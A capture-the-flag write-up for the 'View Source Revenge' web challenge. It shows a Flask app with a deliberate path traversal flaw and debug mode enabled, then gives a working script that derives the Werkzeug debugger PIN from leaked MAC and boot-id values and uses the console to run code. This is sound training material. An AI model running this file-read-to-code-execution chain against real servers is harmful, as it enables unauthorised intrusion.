View Source Revenge Write Up

Path Traversal

The app allows us to enter some filename and we can view it. This is a LFI vulnerability cuz we can view anything we want. Here are some of the important files

app.py

```
# Run by Docker
# This file is included to reduce the guessiness of this challenge.
# The file run is main.py, which is the identical as the file here.

from flask import Flask, request, render_template , redirect, url_for,render_template_string
import os
app = Flask(__name__)
FLAG = open('flag.txt').read()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/view', methods = ["GET"])
def view():
    file_name = request.args.get('file_name')
    if not file_name:
        return redirect(url_for('index'))

    file_path = os.path.join(os.getcwd(), file_name)

    if not os.path.exists(file_path):
        return render_template('error.html')

    with open(file_path, "r") as f:
        content = f.read()

    content = content.replace(FLAG, "")

    return render_template("display.html",content = content,file_name = file_name)

if __name__ == '__main__':
    app.run(debug = True)
```

Dockerfile

```
# Use an official Python runtime as a parent image
FROM python:3.11-slim

# Set the working directory in the container
WORKDIR /usr/src/app

# Copy the requirements file into the container
COPY requirements.txt ./

# Install any necessary dependencies
RUN pip install --no-cache-dir -r requirements.txt

# Create a new user and group with a secure name
RUN useradd -m very_secure_username

# Change ownership of the working directory to the newly created user
RUN chown -R very_secure_username:very_secure_username /usr/src/app

# Switch to the new user
USER very_secure_username

# Copy the application code into the container
COPY . /usr/src/app

# Set environment variables
ENV FLASK_APP=app.py
ENV FLASK_ENV=development
ENV FLASK_DEBUG=1

# Expose the port the app runs on
EXPOSE 5000

# Command to run the application
CMD ["flask", "run", "--host=0.0.0.0"]
```

Flag.txt cant be accessed directly cuz app.py will replace it with “”.

However, we can see in both the app.py and the Dockerfile that the app runs in debug mode. We are able to view the debugger at https://view-source-revenge-viewsourcerevenge-chall.ybn.sg/console.

If we are able to find out the debugger pin, we are able to run code on the machine and get the flag.

Getting debugger pin

At 1st, we tried finding logs for the app which would contain the debugger pin but couldnt find any.

After some time, we found this https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug.

This allows us to find out the debugger pin from various things in the device.

The python code to get the debugger pin is the following,

```python
import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', Non
]

private_bits = [
    '279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
```

From the dockerfile, we found out the user is “very_secure_username”, we can leave it as flask.app and Flask.

We also found out the location of the flask/app.py which is at /usr/local/lib/python3.11/site-packages/flask/app.py.

As for the private bits, we first looked at /proc/net/arp where we saw that the device was eth0, then found the mac address at /sys/class/net/eth0/address which is 52:5c:d3:49:6b:bf.

We converted the mac address to decimal which is 90558635273151.

We first looked at /etc/machine-id which does not exist, so the 2nd private bit is at /proc/sys/kernel/random/boot_id which is 534b2a60-4ae7-4ff2-a030-b7ea96779a0b. Plugging these values into the program we get our debugger pin 536-641-500.

We use this pin at the debugger console and we are able to run python code. Run `open("flag.txt", "r").read()` and we get our flag